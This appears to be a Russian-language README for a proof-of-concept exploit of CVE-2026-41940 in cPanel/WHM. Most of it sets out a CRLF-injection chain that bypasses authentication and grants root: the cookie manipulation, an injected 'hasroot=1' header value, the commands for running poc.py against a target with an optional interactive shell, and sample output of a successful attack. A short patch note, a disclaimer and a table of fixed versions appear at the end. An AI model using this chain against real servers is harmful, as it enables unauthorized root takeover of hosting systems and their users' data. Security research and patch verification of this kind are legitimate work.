
Доказательство концепции эксплуатации для CVE-2026-41940, критического обхода аутентификации cPanel/WHM через CRLF-инъекцию, позволяющего неавторизованный доступ с правами root и интерактивную оболочку.
Автор: SilySec
Оригинальное исследование: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Критичность: Критическая (CVSS 9.8)
Тип: CRLF-инъекция → Обход аутентификации → root-шелл
CVE-2026-41940 — это критическая уязвимость в cPanel/WHM, которая позволяет неаутентифицированному атакующему получить полный root-доступ через CRLF-инъекцию в менеджере базовой аутентификации cpsrvd.
Уязвимость объединяет три слабости:
saveSession() в Cpanel/Session.pm не очищает символы \r\n перед записью на диск, когда ключ <ob> отсутствует в cookie.<obHEX> в cookie сессии кодировщик сессии не активируется, оставляя байты CRLF записанными в открытом виде в файле сессии.Cpanel::Session::Modify::save() повторно считывает необработанный файл и повышает внедрённые CRLF-ключи в JSON-кэше, делая сессию полностью аутентифицированной.POST /login/?login_only=1 [неверный пароль]
└─► cookie: whostmgrsession=:ID,<obHEX>
Удалить ,<obHEX> → :ID [отключает кодировщик]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd записывает необработанные байты CRLF в файл сессии
GET /scripts2/listaccts + Cookie: :ID [без токена безопасности]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► JSON-кэш перестраивается с hasroot=1, tfa_verified=1
→ Сессия аутентифицирована как root
pip install requests
# Для режима --terminal (опционально):
pip install paramiko
python3 poc.py --target https://ЦЕЛЬ:2087
python3 poc.py --target https://ЦЕЛЬ:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.example.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host (не IP) — cpsrvd обрабатывает сессии по-разному в зависимости от hostname9999999999 (фиксированная, далёкое будущее) — текущая временная метка приводит к ошибкеsuccessful_internal_auth_with_timestamp должен идти первымПатч перемещает вызов filter_sessiondata() внутрь saveSession() и добавляет условное кодирование при отсутствии ключа <ob>, предотвращая запись в открытом виде.
Немедленно обновите cPanel/WHM до исправленных версий, перечисленных выше.
Этот инструмент предоставлен исключительно для исследовательских целей и внутреннего тестирования. Любое использование на системах без явного разрешения незаконно. SilySec не несёт ответственности за неправомерное использование.
| Ветка | Последняя уязвимая версия | Исправленная версия |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |